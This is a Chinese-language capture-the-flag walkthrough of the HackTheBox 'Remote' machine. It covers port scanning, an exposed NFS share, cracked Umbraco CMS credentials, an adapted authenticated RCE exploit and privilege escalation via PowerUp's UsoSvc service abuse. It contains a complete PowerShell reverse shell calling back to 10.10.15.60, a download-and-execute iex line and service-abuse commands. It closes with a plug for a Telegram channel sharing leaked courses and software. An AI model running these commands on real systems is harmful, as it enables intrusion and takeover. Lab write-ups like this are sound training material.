我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我们将深入研究NFS资源,处理CMS Umbraco的RCE漏洞,并使用PowerUp通过UsoSvc查找LPE矢量。
与实验室的连接是通过VPN。建议您不要从有重要数据的工作计算机或主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.180,我将其添加到/ etc / hosts中。
10.10.10.180 remote.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
主机上打开了许多端口。现在,让我们用nmap对其进行扫描以过滤并选择所需的对象。
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
端口111负责NFS(允许您通过网络挂载远程文件系统)。让我们看看资源列表。
我们有可用的资源,让我们挂载此资源。
在此目录中,我们找到Web.config和Umbraco文件夹。Umbraco是一个开源内容管理系统平台。
因此,我们需要查看所有配置,并找出Umbraco的版本。这是可以在Web.Config中注意到的。
查找smtp和Umbraco版本的凭据:7.12.4。如果存在凭据,那么Koraya容易受到攻击。
入口点
接下来,我列出了远程服务器上所有可用的文件和目录,以便选择和查看感兴趣的文件。
ls -lR ./
在限制文件范围之后,您应该查看它们(您可以表面上使用grep选择诸如用户,登录,传递,版本等行)。这是我们查找有关两个用户存在的信息的方式:
之后,我们再次grep查找admin和ssmith行。我们发现用户数据的哈希值。
并成功破解管理员密码。
如果您查看exploit-db基础,则有一个现成的exploit,但是需要稍作更改。
用户
首先:我们将指定凭据和主机。
其次,我们将通过指定可执行文件和参数来更改负载。在这种情况下,我们使用ping进行测试。
程序运行后,我们将在tcpdump中看到ICMP数据包。
让我们加载以下反向shell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
让我们将其保存在shell.ps1中,在本地计算机上启动http服务器。
sudo python3 -m http.server
让我们更改负载。
执行后,我们得到了反向连接。
服务器上没有用户目录,因此我们在公共目录中找到该标志。
根
查看有关用户的信息后,我们发现了一个有趣的特权。
但是由于这是Windows Server 2019,因此无法模拟LPE的令牌。
让我们使用PowerUp查找LPE向量。让我们从本地主机下载它并进行全面检查。
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
并且我们有权更新Orchestrator服务。Update Orchestrator是一项为您组织Windows更新的服务。该服务负责下载,安装和检查计算机的更新。
让我们创建第二个外壳(在第一个外壳中更改端口)并将其加载到计算机上。
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
现在,让我们使用UsoSvc运行它。
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
我们得到了反向连接。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多精通IT领域的人,然后我们始终可以在任何IT和信息安全问题上互相帮助。